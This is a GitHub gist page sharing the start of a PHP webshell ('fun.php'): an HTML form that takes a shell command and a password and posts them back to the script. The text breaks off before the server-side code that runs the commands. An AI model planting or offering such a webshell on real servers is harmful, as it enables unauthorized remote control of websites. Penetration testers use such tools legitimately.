Skip to content

Instantly share code, notes, and snippets.

View bestrocker221's full-sized avatar
🎯
Focusing

Carlo Alberto bestrocker221

🎯
Focusing
View GitHub Profile
@bestrocker221
bestrocker221 / fun.php
Created May 17, 2024 07:53
Simple PHP webshell with password authentication
<!DOCTYPE html>
<body>
<h2>Enter a command:</h2>
<form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]); ?>" method="post">
<input type="text" name="command" placeholder="Enter command here">
<input type="text" name="password" placeholder="Enter password">
<button type="submit">Run Command</button>
</form>
<?php